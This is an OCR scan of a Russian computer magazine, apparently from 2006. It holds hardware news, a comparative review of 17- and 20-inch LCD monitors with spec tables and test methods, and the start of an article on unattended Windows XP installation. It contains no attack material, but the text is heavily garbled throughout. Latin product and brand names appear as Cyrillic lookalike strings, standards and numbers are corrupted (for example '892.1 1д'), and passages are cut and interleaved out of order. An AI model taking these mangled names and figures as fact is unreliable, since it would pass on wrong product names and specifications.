все это гармонично сочетать. К моменту выхода этого номера мо- 
дель ЕазуЗИаге Ѵ570 уже должна будет поступить в продажу по 
ориентировочной цене порядка 400 у.е. 

ДЕТЕКТОР ЛЮДЕЙ 

В условиях реальных бо- 
евых действий в городс- 
ких кварталах жизненно 
важно знать, находится 
ли кто-либо в помеще- 
нии, в которое необходи- 
мо войти. Разработки в 
этой области уже нес- 
колько лет ведутся аген- 
тством ОАПРА при ми- 
нистерстве обороны 
США, и вот результаты 
работ были рассекрече- 
ны. Созданное устрой- 
ство (Рабаг Зсоре) спо- 
собно находить людей 
даже через 12-дюймовые 
бетонные стены на рас- 
стоянии до 50-ти футов. 
Террорист может быть 
обнаружен, если он хотя 
бы дышит. Размеры девайса вполне соответствуют карманным, а 
стоимость его находится в районе одного килобакса. Если с тира- 
жированием устройств не возникнет никаких проблем, то америка- 
нские солдаты, находящиеся в Ираке, получат в свое распоряжение 
тактическое преимущество уже этой весной. Будем надеяться, что 
производители догадаются пустить армейские разработки и в мир- 
ное русло, например, для поиска людей под завалами. 
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В последнее время стало модно выпускать кучу аксессуаров к попу- 
лярному девайсу. Стоит вспомнить хотя бы Арріе ІРосІ, к которому есть 
куча крэдлов, наушников и прочего, даже специальная одежда! Не отс- 
тает от других и компания Сгеаііѵе, выпустившая несколько аксессуа- 
ров к своей популярной звуковой плате Х-РІ. Первый - это модуль йТЗ- 
610, позволяющий подключить компьютер к домашнему кинотеатру од- 
ним цифровым кабелем. Многоканальные аналоговые выходы 5.1 
подключаются к модулю ОТЗ-610, который в реальном времени преоб- 
разует аналоговый сигнал в поток ЭТЗ 5. 1 и передает этот поток по 
цифровому кабелю в домашний кинотеатр. Также теперь имеются: 
восьмиканальный кабель для передачи звука с качеством 24 бита/96 
кГц в формате 7.1 с компьютера на домашний кинотеатр; модуль циф- 
рового ввода-вывода, который снабжает ЗоипсІ Віазіег цифровыми оп- 
тическими и коаксиальными входами и выходами З/РРІР (пригодится 
обладателям студийного оборудованияэ; имеются модули с разной но- 
менклатурой портов), а также инфракрасный приемник с пультом ДУ, 
позволяющий осуществлять управление, не вставая с дивана. 



НОВЫЙ ѴѴІ-ГІ 




Думаю, никто не будет спорить с тем, что беспроводные технологии 
передачи данных гораздо удобнее проводных. Не надо думать о 
длине проводов, а также о том, куда и как положить, чтобы все выг- 
лядело эстетично и так далее. Так что отпадает целый пласт проб- 
лем. Технология ѴѴІ-РІ известна всем мобильным пользователям и 
не только им. Уже масса людей оценила комфорт от использования 
этого способа доступа в Сеть. В кафе, аэропорту и других присут- 
ственных местах достаточно иметь ноутбук или КПК с соответству- 
ющим адаптером, и все. К сожалению, скорость пока оставляет же- 
лать лучшего. Ріо разработчики ѵѵігеіезз-технологий не сдаются! На- 
оборот, они идут вперед. РІедавно в международную организацию 
ІЕЕЕ были отправлены одобренные всеми участниками ѴѴІ-РІ кон- 
сорциума документы, касающиеся нового стандарта 802.1 1п. РІам 
обещают: что его скорость будет в пять раз превышать возможнос- 
ти 892.1 1д; работу с несколькими антеннами; улучшения, касающи- 
еся надежности и безопасности связи. К сожалению, раньше следу- 
ющего года этот стандарт вряд ли сможет появиться на рынке. 



ЗВОНИ С КОМПЬЮТЕРА ПО ВСЕМУ МИРУ! 
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НІТЕСНМЕѴѴ5 



ПОПРЫГУНЧИК 




Дизайнеры ЕзсІтеІ 
ЗасоЬзеп и Масіз Ыу 
І_агзеп решили по мак- 
симуму задействовать свое 
креативное мышление и приду- 
мать самую нестандартную в 
мире фотокамеру. В результате 
у них получился гибрид фотоап- 
парата и мячика-попрыгунчика, 
который был назван заІиѲО. Ес- 
тественно, девайс стопроцентно 
противоударный и при этом ве- 
ликолепно прыгает. В момент 
столкновения с твердой поверх- 
ностью заІиѲО вспоминает, что 
он заодно и фотоаппарат, и де- 
лает снимок. Устройство можно 
заставить делать снимки по тай- 
меру. Это, например, может 
пригодиться, если возникнет желание сделать фото высоко над 
землей. Таким вот образом, после определенной тренировки, мож- 
но будет научиться снимать птиц в полете или соседку этажом вы- 
ше. Дополнительно у заІиѲО есть и более приземленные примене- 
ния: его можно использовать как веб-камеру, обычный фотоаппарат 
и мобильный носитель информации. К компьютеру девайс подклю- 
чается через ІІЗВ, причем соединительный кабель может сматы- 
ваться внутрь «корпуса». Пока более подробные характеристики но- 
винки не разглашаются, но на игрушку уже можно сделать предва- 
рительный заказ, отдав за нее всего 69 американских президентов. 








ЦИФРОВОЙ 

БИНОКЛЬ 

Количество устройств, которые до сих пор не были представлены в 
электронном виде, с каждым годом становится все меньше и мень- 
ше. Теперь очередь дошла и до биноклей. Так, компания ЗідИІѵѵаѵе 
анонсировала весьма любопытный прототип полностью цифрового 
бинокля Эідіѵіеѵѵег. Для получения изображения используется стан- 
дартная технология ССЭ-матриц, а выводится изображение на не- 
большой І-СО-дисплей, установленный внутри. При этом характе- 
ристики новоиспеченного девайса находятся на вполне приемлемом 
уровне — увеличение складывается из 22-кратного оптического и 
10-кратного цифрового. К сожалению, конкретные сроки и ориенти- 
ровочная цена пока не афишируются, но разработчики надеются 
исправить это уже в ближайшее время. 




СЕРЬЕЗНЫЙ 

КОНСТРУКТОР 

Как известно, корпорация І_ЕѲО уже давно производит конструкто- 
ры не только для детей старшего дошкольного возраста, но и впол- 
не серьезные игрушки, которые придутся по вкусу практически 
всем, начиная от тинэйджеров и заканчивая пенсионерами. На выс- 
тавке СЕ8 2006 компания в очередной раз подтвердила свой статус 
«крутейшего производителя конструкторов», представив обновлен- 
ную версию комплекта для сборки роботов Міпбзіогт ЫХТ. Роботы, 
построенные по новому образцу, станут заметно умнее, сильнее и 
куда симпатичнее. Главную роль в жизни каждого Міпсізіогт-робота 
будет играть центральный блок ЫХТ, основанный на 32-битном мик- 
ропроцессоре. Поведение питомца полностью поддается програм- 
мированию с компьютера (РС или Мае), причем соединение воз- 
можно через ГІЗВ или ВІиеІооІІт-интерфейсы. Робот способен рабо- 
тать как автономно, так и управляться дистанционно с помощью ПК, 
КПК или мобильника через ВІиеІооІМ. В комплекте, кроме централь- 
ного блока, будет поставляться несколько сервоприводов, множест- 
во датчиков и сенсоров (световых, звуковых, ультразвуковых, при- 
косновения), а также несметное количество стандартных конструк- 
торных деталей. Такого вот набора достаточно для сборки робота 
практически любого класса (гуманоида, автомобиля). Начало про- 
даж запланировано на август этого года, а минимальная цена комп- 
лекта составит примерно 250 баксов, что, в принципе, умеренно для 
игрушки такого класса. 
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НАВРЫЕУУЗ Ж 



МУЗЫКА 
БЕЗ ПРОВОДОВ 




Провода мешают всем: они змеятся по помещениям, вьются по сте- 
нам, оплетают ноги и выглядит это все, честно говоря, несимпатично. 
К тому же с ними много возни во время монтажа устройства. В сфере 
музыкального оборудования эту проблему решила компания РЬІІІрз, 
она создала беспроводную аудиосистему Зігеатіит ѴѴАС85, в кото- 
рой музыка передается на колонки посредством интерфейса ѴѴІ-РІ, 
следовательно, надобность в проводах отпадает. Достаточно один раз 
загрузить музыкальную коллекцию в систему, ѴѴАС35 передаст ее на 
5 независимых станций и обеспечит беспроводной доступ к музыке 
для многочисленных пользователей по всему дому. Система может 
проигрывать одну или несколько композиций одновременно на всех 
станциях. Записи с СО преобразовываются в МРЗ-файлы и хранятся 
на жестком диске объемом 80 Гб. Музыкальный центр воспроизводит 
форматы СО, СО-Я, СО-ЯѴѴ, МРЗ и ѴѴМА. Интересно, когда же прово- 
да исчезнут как класс? 



8АРРНІКЕ 
И ВАБЕОИ XI 900 

Давнишние конкуренты пѴібіа и АТІ начали очередной этап своей беско- 
нечной битвы! Недавно выпущенные чипсеты новых модификаций уже 
поступили к производителям видеоплат, и теперь те вовсю делают мощ- 
нейшие ускорители. Компания ЗаррНіге объявила о выпуске плат на базе 
чипов АТІ Васіеоп XI 900. Основные характеристики этого графического 
процессора таковы: 48-пиксельных и 8 вершинных конвейеров, поддерж- 
ка ЗИабег МобеІ 3.0. Самая производительная плата новой линейки пост- 




роена на чипе XI 900ХТ, она имеет повышенные (по сравнению с рефе- 
ренсными) значения частот памяти и ядра (775 (1550) и 650 МГц). Кроме 
того, в серии будут специальные платы СгоззРіге Ебіііоп, которые будут 
поддерживать работу в дуальном режиме. Все платы оснащаются 51 2 
Мб памяти ОЮОВЗ и имеют в комплекте поставки ОѴО с играми. 



МІІ8ТЕК ОѴО 
ВСЕГДА С ТОБОЙ 

Плеером, который можно носить с собой, уже давно никого не уди- 
вишь. Музыкальные и просматривающие фото и видеоконтент (на 
ИазН-памяти и на жестких дисках), а также куча разных других уст- 
ройств тоже всем известны. А вот компания Мизіек предлагает тебе 
продвинутую модель плеера, который работает с ОѴО-дисками. Это 
для тех, кто ценит качество и любит формат 0\Ю. Называется но- 
винка МР100, а появится она в России в середине весны. Для прос- 
мотра фильмов у него имеется 10-дюймовый ЖК-экран, стороны ко- 
торого соотносятся как 16:9. Еще он отличается возможностью вра- 
щаться на 180 градусов, так что как бы ты ни сидел, просмотр всег- 
да будет успешен. Поддерживается куча форматов: ОѴЭ, ОѴЭ+/- 
В/ВѴѴ, СО, СО-В/ВѴѴ, МРЕѲ4, ОіѵХ (3.11, 4.0,5.x), ХѵЮ, АѴІ, Кобак 
Рісіиге СО и 6РЕѲ. Кроме того, имеется встроенный кардридер. Для 
прослушивания имеются два варианта — наушники или встроенные 
колонки. В общем, весна нас ожидает веселая. 







ХАКЕР РЕКОМЕНДУЕТ ///// І531ІЕ 




Необычным проектом занимаются сейчас в лаборатории Мейіа І_аЬ Мас- 
сачусетского технологического института (МІТ). Инженеры самого попу- 
лярного техновуза планеты с подачи организации объединенных наций 
трудятся над созданием ноутбука стоимостью всего $1 00. Т акая невысо- 
кая цена — главное требование к разработке: ноутбуки эти предназна- 
чены для детей в развивающихся странах. Ну, вроде Нигерии, Камеру- 
на и Египта. Во всей этой истории интересно только одно: какую же 
комплектацию удалось разработчикам набрать на $100? 



Процессор у супербюджетного ноутбука крутой, как и цена, не 
подступиться: камень АМО с частотой в 500 МГц. 

Вместо винчестера у новинки используется флешка объемом 1 Гб. 

Самая дорогая часть ноутбука — дисплей с диагональю 7” и низким 
энергопотреблением. 

Так же ноутбук, вполне ожидаемо, оснащен ѴѴІ-РІ контроллером. 

У ноута есть четыре порта ГІЗВ, микрофон и небольшой динамик. 



Но самая главная фишка девайса — это ручка, вращая 
которую, африканские дети смогут подкачать мускулатуру, а 
заодно зарядить аккумулятор. В общем, не ноутбук, а мечта. 
Горлум уже решил менять свой Азиз 3200Ы, а то где еще 
встретишь такую крутую ручку? 
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ѵѵѵѵѵѵ. ЮЕАтс .ги 



Зайди на сайт ѵѵѵѵѵѵ.ісіеатс.ги и из прикольных комиксов узнай, что умеет 
делать компьютер КгаТіѵѵау Ісіеа МС. 

Его потенциал поистине безграничен, поэтому отыщи те возможности, которые 
остались за кадром, придумай классную идею для комикса и пришли сценарий 
на конкурс. Автор самого интересного сюжета станет обладателем главного 
приза — мощного компьютера КгаТіѵѵау Ісіеа МС на базе процессора Іпіеі® 
Репііит® 4, с пультом, ТВ-тюнером и 17” монитором! 

Кстати, если будет скучно просто сочинять текст, попробуй оформить свои 
мысли, сконструировав новый комикс из готовых элементов! 

Лучшая работа будет опубликована на сайте. 

Не забудь: мы обязательно отметим все яркие, неординарные работы 
поощрительными призами. 

Итоги конкурса компания КгаТіѵѵау и издательский дом СатеІ.апсі подведут в 
конце апреля. 








Размер экрана (видимый): 17’ 

Максимальное разрешение: 1280*1024 

Яркость, кд/м Л 2: 250 

Контраст: 1500:1 

Латентность матрицы, мс: 25 

Угол зрения (по горизонтали/по вертикали), град.: 178/178 

Интерфейсы: Р-51ІВ, РѴІ-Р 

Стандарты безопасности: МРВ-ІІ, ТСО”03 

Размеры, мм : 362x389x200 

Вес, кг: 4,6 

$369 

★★★★★★★★★ 

Монитор, обладающий практически идеальной цветопередачей, о чем 
говорит колориметрическая диаграмма: все три линии почти прямые — 
незначительные искажения есть только в самом начале диапазона, к то- 
му же они практически совмещены между собой. В то же время латент- 
ность матрицы высоковата — за движущимися объектами на контраст- 
ном фоне виден заметный шлейф. Яркость и контрастность на хорошем 
уровне, а, помимо пользовательских настроек параметров картинки, 
есть еще фиксированные, предназначенные для различных видов дея- 
тельности: текст, Интернет, игра, спорт, кино. Радует хорошо продуман- 
ная эргономика девайса: экран можно двигать вверх/вниз относительно 
поверхности стола или разворачивать его в режим «портрет». Меню 
подробное, на русском языке, но вот навигация по нему не самая удоб- 
ная. Очень хорошие углы обзора: изменение цвета изображения проис- 
ходит лишь при больших отклонениях от центра экрана. В станине име- 
ется подвижный круг, благодаря которому при поворотах монитора не 
будет царапаться поверхность стола. 



Размер экрана (видимый): 17’ 

Максимальное разрешение: 1280*1024 

Яркость, кд/м л 2: 250 

Контраст: 1000:1 

Латентность матрицы, мс: 1 6 

Угол зрения (по горизонтали/по вертикали), град.: 178/178 

Интерфейсы: Р-51ІВ, РѴІ-Р 

Стандарты безопасности: МРВ-ІІ, ТСО”03 

Размерь^ мм: 441x274x200 

Вес, кг: 5,6 

$518 

★★★★★★★★★ 

Один из самых продвинутых мониторов в обзоре: он оснащен всеми 
функциями, необходимыми для мультимедийного устройства. Это, 
например, качественные динамики — по характеристикам звучания 
их можно сравнить со средними выносными колонками: хорошо 
прослушиваются низкие и средние частоты, на высоких громкостях 
не слышно вибраций. Немного подводят басы, но результат все рав- 
но очень хороший. Качество изображение также порадовало: коло- 
риметрическая диаграмма хоть немного хуже, чем у предыдущего 
девайса, но тоже ей не уступает: все графики ровные, максимально 
приближены друг к другу, а небольшие скачки лишь в самом нача- 
ле диапазона. Низкая латентность матрицы: движущийся белый 
квадратик по черному фону почти не размывается и шлейфа за ним 
не видно. Высокий уровень максимальной яркости: его будет хва- 
тать для работы даже при очень ярком свете. Из недостатков мож- 
но отметить не самое удобное меню, а именно: иконки имеют сов- 
сем небольшой размер, что немного раздражает. Удивляет располо- 
жение кнопок навигации на передней панели: две разноименные 
кнопки почему-то расположены не рядом друг с другом, а между 
двумя другими. Станина выполнена качественно, а на нижней ее 
части расположен поворотный круг. 
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ІПІГО 



Методика 

тестирования 



Выводы 



МОНИТОРЫ 

В ПРАВИЛЬНОМ ФОРМАТЕ 



Шехтман Александр ІезНаЬ (1ез1„ІаЬ@датеІапсІ.ги) 



Цены на жидкокристаллические мониторы снижаются все сильнее, технологии производства совершен- 
ствуются. Так что уже сейчас практически любой пользователь сможет себе купить качественный ЮО’шник. 
В тесте мы рассмотрим несколько мониторов, находящихся в различных ценовых диапазонах и обладающих 
различным качеством изображения, чтобы пользователь мог выбрать себе Ю017 по запросам и по карману. 



Цветопередача тестировалась с помощью коло- 
риметра, который выдавал специальный график, 
состоящий из трех линий, отвечающих за основ- 
ные цвета палитры (красный, зеленый, синий). 
В идеале графики должны иметь вид прямых, 
совпасть между собой и проходить из левого 
нижнего в правый верхний угол. Чем больше отк- 
лонение от этого идеала, тем больше у монитора 
проблем с цветопередачей. Время отклика пиксе- 
лей оценивалось визуально: программа ТРТІезІ 
выдавала на экран черный фон и белый движу- 
щийся квадратик, и нужно было отследить нас- 



После проведения всех тестов видно, что сейчас можно подобрать монитор практически под любые 
нужды, и при этом цена его будет весьма демократична. Теперь о наградах: «лучшей покупкой» 
стал 8АМЗЦМѲ ЗупсМазІег 7401 за высокое качество изображения, а «выбора редакции» удостоен 
ЕІ20 РІехЗсап 1578 за хорошее изображение и максимальную насыщенность функциями. 



колько сильно он размывается. Чем меньше это 
размытие, тем меньше время отклика. Проверя- 
лись яркость и контрастность, их максимальное 
значение и широта диапазона изменения. Для 
проверки равномерности засветки матрицы на 
экран выводился белый, а потом — черный цвет, 
после чего надо было проследить, сильны ли раз- 
личия в яркости в разных точках экрана. Оцени- 
вались и углы обзора, от которых зависит, нас- 
колько сильно меняется картинка при взгляде на 
монитор: сбоку, сверху или снизу. Были учтены 
также индивидуальные особенности мониторов. 
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Ѵіе\л/5опіс ѴХ724 

Размер экрана (видимый): 17” 

Максимальное разрешение: 1280*1024 

Яркость, кд/м Л 2: 300 

Контраст: 500:1 

Латентность матрицы, мс: 3 

Угол зрения (по горизонтали/по вертикали), град.: 160/160 

Интерфейсы: Р-8ЦВ, РѴІ-Р 

Стандарты безопасности: МРП-ІІ, ТСО’99 

Размеры, мм: 388x438x176 

Вес, кг: 5,0 

$363 

★★★★★★★ 



Девайс от одного из самых известных произ- 
водителей отличается простотой в формах: 
никаких излишеств, все линии ровные и лишь 
углы слегка скруглены. Очень хорошая лате- 
нтность матрицы: движущийся квадратик 
лишь чуть размывается. Невысокая макси- 
мальная яркость: если в комнате, где ты нахо- 
дишься, есть мощные светильники, то работа 
с темными изображениями будет затруднена. 
Огорчила равномерность засветки матрицы: 
если на нее вывести черный цвет, то с обоих 
краев и снизу видны характерные белые раз- 
воды. Диаграмма, полученная с помощью ко- 
лориметра, показала не самую лучшую в обзо- 
ре цветопередачу: то сходящиеся, то расходя- 
щиеся неровные линии, а в начале виден ска- 
чек на красном графике. Меню удобное и под- 
робное, причем все манипуляции осуществля- 
ются с помощью всего четырех кнопок. Надо 
отметить, что для регулировки яркости и конт- 
растности необязательно лазить в меню, так 
как они вынесены на переднюю панель. Ножка 
станины высокая, так что Ѵіезопіс ѴХ724 же- 
лательно ставить на низкий стол. 



АСЕВ АЫ751 3 

Размер экрана (видимый): 17” 

Максимальное разрешение: 1280*1024 

Яркость, кд/м л 2: 400 

Контраст: 500:1 

Латентность матрицы, мс: 8 

Угол зрения (по горизонтапи/по вертикали), град.: 150/135 

Интерфейсы: Р-51ІВ, РѴІ-Р 

Стандарты безопасности: МРП-ІІ, ТСО’99 

Размеры, мм: 379x400x164 

Вес, кг: 4,8 

$335 

Этот девайс обладает низким уровнем макси- 
мальной яркости — его с трудом хватает даже 
на обычную работу. При этом в разных частях 
матрицы она разная (по краям чуть выше, чем в 
центре). Этот результат был получен следую- 
щим образом: выводился черный цвет во весь 
экран, и в этих районах возникали светлые раз- 
воды. Цветопередача средняя. С одной сторо- 
ны, графики заметно изгибаются на всем диа- 
пазоне, но, с другой стороны, они расположены 
достаточно близко друг к другу. Время отклика 
пикселей маленькое: за перемещающимися 
предметами не видно шлейфа, даже если фон 
контрастный. Совсем небольшие углы обзора 
по вертикали. Даже если расположиться прямо 
перед экраном, то верхняя его часть будет нес- 
колько темнее, а, если начать отклоняться 
вниз, картинка быстро начинает искажаться. На 
поверхности матрицы имеется защитное пок- 
рытие, но оно сильно бликует, так что светиль- 
ники в комнате надо располагать так, чтобы их 
лучи не отражались точно в глаза. Все разъемы 
находятся на станине, что удобно при подклю- 
чении шлейфов. 



ЗОЫѴ 5РМ 575Р 

Размер экрана (видимый): 17” 

Максимальное разрешение: 1280*1024 

Яркость, кд/м л 2: 300 

Контраст: 450:1 

Латентность матрицы, мс: 12 

Угол зрения (по горизонтали/по вертикали), град.: 160/160 

Интерфейсы: Р-ЗЦВ, РѴІ-Р 

Стандарты безопасности: МРВ-ІІ, ТСО’99 

Размеры, мм: 31 5x369x66 

Вес, кг: 4,3 

$395 

★★★★★★★★ 



Монитор с одним из лучших в обзоре цветоотобра- 
жением! Колориметрические графики почти идеаль- 
но совпадают между собой и диагональю квадрата. 
Есть небольшое расхождение в начале диапазона, 
но оно совсем незначительное. За движущимся 
квадратиком виден небольшой шлейф, что говорит 
о высокой, по сравнению с ближайшими конкурен- 
тами, латентностью матрицы. Уровни яркости 
и контрастности не самые лучшие, но для нормаль- 
ных условий их хватает с запасом. Помимо яркости, 
есть еще и так называемая подсветка, которая, по 
сути, является ее дополнительным диапазоном. Уг- 
лы обзора по вертикали невысокие. Если сместить 
ось зрения чуть вниз, то изображение начинает туск- 
неть. Небольшие трудности с распределением яр- 
кости по поверхности экрана: в нижней его части она 
чуть выше, чем во всех остальных местах. В меню 
много различных опций, но навигация по ним нес- 
колько неудобна, хотя и тут можно привыкнуть. 
Конструкция станины предусматривает движение 
экрана вверх/вниз и поворот его в горизонтальной 
плоскости без повреждения поверхности стола. 



СТХ Х782 

Размер экрана (видимый): 17” 

Максимальное разрешение: 1280*1024 

Яркость, кд/м л 2: 300 

Контраст: 500:1 

Латентность матрицы, мс: 12 

Угол зрения (по горизонтали/по вертикали), град.: 140/130 

Интерфейсы: Р-ЗЦВ 

Стандарты безопасности: МРВ-ІІ, ТСО’99 

Размеры, мм: 377x411x173 

Вес, кг: 4,6 

$273 

★★★★★★★ 



Цветопередача находится на среднем уровне: 
линии плавные, но синяя смещена вниз, а у 
красной виден перепад в начале диапазона. 
Максимальная яркость высока и диапазон ее 
изменения широкий. К сожалению, для ее 
настройки придется лазить в меню — на от- 
дельные кнопки она не вынесена. То же самое 
относится и к контрастности. Порадовала лате- 
нтность матрицы: движущийся белый квадра- 
тик по черному фону оставляет лишь чуть за- 
метный след. Углы обзора относительно боль- 
шие, правда, если перемещаться вниз относи- 
тельно оси, проходящей через центр экрана, то 
картинка заметно тускнеет. Меню удобное и 
подробное, но при навигации «по вертикали» 
имеется заметное время между нажатием 
кнопки и реакцией монитора. Как и в предыду- 
щем девайсе, смущает отсутствие цифрового 
входа, хотя место для него предусмотрено. Та 
же ситуация с колонками: на передней части 
корпуса есть для них место, но сами динамики 
отсутствуют. Станина слишком высоко припод- 
нимает экран над столом, так что такое распо- 
ложение не всегда бывает удобным. 



ВЕ№ РР71Ѵ 

Размер экрана (видимый): 17” 

Максимальное разрешение: 1280*1024 

Яркость, кд/м л 2: 300 

Контраст: 500:1 

Латентность матрицы, мс: 5 

Угол зрения (по горизонтали/по вертикали), град.: 140/130 

Интерфейсы: Р-81Ш, РѴІ-Р 

Стандарты безопасности: МРП-ІІ, ТСО’99 

Размеры, мм: 376x386x201 

Вес, кг: 4,7 

$351 

★★★★★★★ 



Еще один монитор, специально предназначен- 
ный для любителей развлечений. Латентность 
матрицы опять же на высоте: у движущихся 
предметов наблюдается чуть заметное размы- 
тие границ, да и то лишь в случае, если фон 
очень контрастный. Яркость находится на нор- 
мальном уровне и диапазон ее изменения доста- 
точно широк. По сравнению с конкурентами, это 
не самая лучшая цветопередача: графики имеют 
ряд искривлений и скачки вверх в начале диапа- 
зона. Невысокие углы обзора, особенно верти- 
кальные: даже при небольших отклонениях от 
центра изображение начинает отдавать в жел- 
тизну, а если отклонится еще больше, то инвер- 
тируется (становится, как на негативе). Имеются 
встроенные колонки, но приличный результат 
они показывают только на невысоких громкос- 
тях. В противном случае слышен заметный шум 
и дребезжание. Меню удобное и подробное, но 
вот кнопки управления расположены на нижней 
части, так что если повернуть экран максималь- 
но вниз, то к ним добраться будет тяжело. Кноп- 
ка включения подсвечивается синим ярким све- 
тодиодом, который может отвлекать от работы. 



ПОѴЕП8САІ* 

ОРТІМА 170 

Размер экрана (видимый): 17” 

Максимальное разрешение: 1280*1024 

Яркость, кд/м А 2: 300 

Контраст: 450:1 

Латентность матрицы, мс: 20 

Угол зрения (по горизонтали/по вертикали), град.: 160/160 

Интерфейсы: Р-5ЦВ 

Стандарты безопасности: МРВ-ІІ, ТСО’99 

Размеры, мм: 387x374x190 

Вес, кг: 5 

$277 

★★★★★★★ 



Этот девайс обладает средними показателями 
качества изображения: время отклика пикселя 
нормальное для подобного устройства — движу- 
щиеся объекты незначительно размываются. 
Яркость достаточная для любого вида деятель- 
ность — с этим проблем нет. Цветопередача ха- 
рактерна для бюджетного монитора — графики 
сильно расходятся в середине диапазона и сужа- 
ются по краям, в начале имеются небольшие пе- 
репады. Меню хорошо визуализировано и доста- 
точно подробно, но вот навигация сделана неу- 
добно — можно легко запутаться в опциях, к то- 
му же назначение элементов управления неоче- 
видно. Правда, русский язык все же имеется. Уг- 
лы обзора не самые лучшие и, как у многих соб- 
ратьев, особенно страдают вертикальные углы 
— тут изображение начинает инвертироваться 
при совсем небольших отклонениях. С горизон- 
тальными все обстоит чуть лучше: на картинке 
возникает желтый налет. К сожалению, ни яр- 
кость, ни контрастность не выведены на отдель- 
ные кнопки. Обнаружилось отсутствие цифрово- 
го входа, что странно, так как большинство мо- 
ниторов с диагональю 17 дюймов им оснащено. 
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ЗАМЗІІЫО ЗупсМазІег 7401 



ѴіеѵѵЗопіс ѴХ724 



ВЕШ РР71Ѵ 




СТХ Х782 



РОѴЕВЗСАЫ ОРТІМА 170 




# „ 1 



ЗОІЧѴ 50М-375Р 



ВЕЫО РР202ѴѴ 







ЫЕС МиІІуЗупс 700X2 



АСЕР АН 751 




МЕС МиІіуЗупс 70СХ2 

Размер экрана (видимый): 17” 

Максимальное разрешение: 1280*1024 

Яркость, кд/м Л 2: 400 

Контраст: 700:1 

Латентность матрицы, мс: 4 

Угол зрения (по горизонтали/по вертикали), град.: 155/170 

Интерфейсы: Р-5ЦВ, РѴІ-Р 

Стандарты безопасности: МРВ-ІІ, ТСО’99 

Размеры, мм: 367x390.5x203 

Вес, кг: 6,5 

$399 

★★★★★★★ 



Еще один монитор, обладающий практически 
идеальной цветопередачей: все линии практичес- 
ки слились между собой — расхождения между 
ними ничтожны. Латентность матрицы также на 
высоком уровне - край движущихся объектов не 
размывается и это видно даже при детальном 
рассмотрении. Яркость хорошая — ее будет хва- 
тать и для фильмов, и для игр. Углы обзора сред- 
ние — надо сильно отклонится, чтобы начались 
искажения цветов, но результат все же не дотяги- 
вает до самых лучших представителей класса. 
Для навигации по меню предусмотрены три кноп- 
ки и один джойстик, что делает управление мони- 
тором максимально быстрым и понятным. На 
джойстик вынесены регулировка яркости и конт- 
раста, что очень удобно. Экран имеет сильно бли- 
кующее покрытие. Из дополнительных возмож- 
ностей можно отметить поворотный круг на ниж- 
ней части станины и встроенный ІІЗВ-концентра- 
тор на четыре порта, два из которых находятся на 
правом торце корпуса экрана. Индикатор работы 
имеет синий цвет, что может мешать работе. 



ВЕЫО РР202ѴѴ 

Размер экрана (видимый): 20” 

Максимальное разрешение: 1680*1050 

Яркость, кд/м л 2: 300 

Контраст: 600:1 

Латентность матрицы, мс: 8 

Угол зрения (по горизонтапи/по вертикали), град.: 170/170 

Интерфейсы: Р-ЗЦВ, РѴІ-Р 

Стандарты безопасности: МРВ-ІІ, ТСО”92 

Размеры, мм: 480x397x170 

Вес, кг: 5,7 

$591 

★★★★★★★★ 



Этот монитор оснащен 20” широким экра- 
ном, специально предназначенным для 
просмотра фильмов. Именно для этой цели 
имеются фиксированные настройки картин- 
ки — Киноі и Кино2. Разрешение также бу- 
дет иным — 1680*1050. Что касается качест- 
ва изображения, то тут ситуация следую- 
щая: цветопередача не самая лучшая, так 
как на диаграмме видно, что графики силь- 
но расходятся и имеют искривленную фор- 
му. Время отклика пикселя оказалось ма- 
леньким: за движущимися предметами не 
только не остается шлейфа, но их края даже 
не размываются! Это безусловно является 
отличным подспорьем для любителей игр и 
видео. Яркость и контрастность оказались 
на высоте: максимальные значения велики, 
диапазоны изменения достаточно широкие. 
Кнопки меню и подписи к ним расположены 
на правом торце экрана, что сильно ослож- 
няет передвижение по опциям, так как вели- 
ка вероятность случайных нажатий. В то же 
время меню хорошо визуализировано и мо- 
жет отображаться на русском языке. 
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АІ.2032ѴѴ 

Новейший монитор А12032ѴѴ был удостоен высшей 
награды Іпіегпаігапаі Рогит Оевідп 2СЮ5, одной из самых 
престижных о мире За эту награду сражались 1900 
устройств о? 740 производителей из 31 страны. Награда 
присуждается лишь в там случае, если устройство в май- 
большей мере соответствует сразу нескольким критери- 
ям дизайн, качество сборки, материал, инновацион- 
ность, экологическая безопасность, функциональность, 
эргономике, надежность и ценность торговой марки, 



СЕТЕВАЯ 
ЛАБОРАТОРИЯ 



||се 

кІГ АІ 

ІтІІеЕчгогК 
І_яаЬогасогу 

ѵѵѵѵѵѵ.леІІаЬ.ги 

(095) 225 7575 



в 







РС_20МЕ ///// ІЗЗІІЕ 




ІІ БОЛЬШИНСТВО СИСТЕМНЫХ АДМИНИСТРАТОРОВ ЗНАЮТ, КАК МОЖНО БЫСТРО 
УСТАНОВИТЬ/ПЕРЕУСТАНОВИТЬ ѴѴІИООѴѴЗ. ДЛЯ ЭТИХ ЦЕЛЕЙ СУЩЕСТВУЮТ ПРОГРАММЫ, 
ПОЗВОЛЯЮЩИЕ СДЕЛАТЬ ТОЧНЫЙ ОБРАЗ УСТАНОВЛЕННОЙ ѴѴІИООѴѴЗ ВМЕСТЕ СО ВСЕМИ 
УСТАНОВЛЕННЫМИ ПРИЛОЖЕНИЯМИ, ДРАЙВЕРАМИ И Т.П. ДОСТАТОЧНО ВОССТАНОВИТЬ ИЗ 
ОБРАЗА СИСТЕМНЫЙ РАЗДЕЛ, И НА МАШИНЕ УСТАНОВЛЕНА ПОЛНОСТЬЮ ГОТОВАЯ К 
РАБОТЕ ѴѴІШОѴѴ5. ЭТИМ ЗАНИМАЮТСЯ ТАКИЕ ПРОГРАММЫ, КАК АСРЮМ5 ТВІІЕІМАѲЕ, 
РОѴѴЕПОІІЕЗТ ОЕРІ_ОѴСЕІ\ІТЕВ, ІХОРТОИ ОНОЗТ. НО В СЛУЧАЕ С ѴѴІШОѴѴЗ ХР МОЖНО 
ПОСТУПИТЬ ПО-ДРУГОМУ рр 



АВТОМАТИКА 

РЕШАЕТ 



С появлением ѴѴІпсІоѵѵз ХР стало возможным установить 
систему в полностью автоматическом режиме, указать не- 
лепые настройки, имя пользователя и серийный ключ. В 
ходе установки даже можно найти любые приложения, 
ключи реестра, обновленные драйвера и т.д. — все зави- 
сит от твоих запросов и фантазии. В английском языке 
этот процесс называется ипаііепсіесі іпзіаііаііоп, что по- 
русски можно перевести, как «автоматическая установ- 
ка». Получается, что в плане переустановки ѴѴІпсІоѵѵз у 
системных администраторов проблем стало меньше. Вся 
установка заключается только в том, чтобы вставить спе- 
циальный диск в привод пользователя. А вот как быть, ес- 
ли надо на установленную винду поставить какое-нибудь 
приложение? Софт для бухгалтера, юриста, инженера? 
